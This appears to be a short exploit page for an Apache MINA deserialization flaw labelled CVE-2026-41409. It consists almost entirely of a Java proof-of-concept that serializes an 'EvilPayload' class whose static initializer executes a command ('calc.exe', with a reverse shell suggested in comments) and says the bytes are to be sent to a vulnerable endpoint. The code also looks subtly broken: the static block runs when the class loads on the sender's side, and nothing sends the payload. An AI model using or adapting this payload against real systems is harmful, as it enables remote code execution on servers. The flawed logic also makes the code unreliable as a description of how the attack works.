CVE-2026-41409 Apache MINA 反序列化漏洞

import java.io.*; import java.util.*; // Define a malicious class with a static initializer // This code block runs when the class is loaded by the JVM class EvilPayload implements Serializable { private static final long serialVersionUID = 1L; static { try { // Malicious action: e.g., open calculator or reverse shell Runtime.getRuntime().exec("calc.exe"); System.out.println("Malicious code executed in static block!"); } catch (Exception e) { e.printStackTrace(); } } } public class CVE202641409POC { public static void main(String[] args) throws Exception { // Serialize the malicious object EvilPayload evil = new EvilPayload(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(bos); oos.writeObject(evil); oos.flush(); byte[] payload = bos.toByteArray(); // Output the serialized bytes (hex or base64) to send to the vulnerable server System.out.println("Generated Payload Length: " + payload.length); // In a real attack, send this byte array to the vulnerable Apache MINA endpoint } }